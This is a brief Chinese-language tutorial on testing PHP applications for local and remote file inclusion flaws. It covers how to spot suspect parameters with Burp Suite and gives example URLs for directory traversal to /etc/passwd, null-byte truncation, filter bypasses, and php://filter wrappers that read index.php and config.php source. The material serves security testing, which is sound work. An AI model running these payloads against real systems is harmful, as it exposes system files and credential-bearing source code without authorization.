文件包含漏洞分為本地文件包含(LFI)和遠程文件包含(RFI)兩類。LFI允許讀取服務器本地文件,RFI可執行遠程服務器上的惡意代碼。PHP應用中include()、require()等函數未正確過濾用戶輸入時易產生此類漏洞。
檢測URL中可能包含文件的參數,常見特征如下:
參數名包含file、path、page、include等關鍵詞
參數值為文件路徑格式(如.php、.inc、.html)
參數值呈現目錄遍歷特征(../或..\)
使用Burp Suite抓取所有請求,篩選出可能包含文件操作的參數。對每個可疑參數進行基礎測試:
如:
https://www.zmtests.com/d.php?file=../../../../etc/passwd
https://www.zmtests.com/d.php?page=php://filter/convert.base64-encode/resource=index.php
使用空字節截斷繞過擴展名限制(PHP<5.3.4):
如:
https://www.zmtests.com/d.php?file=../../etc/passwd%00
https://www.zmtests.com/d.php?file=....//....//etc/passwd
利用PHP包裝器讀取源碼:
如:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=config.php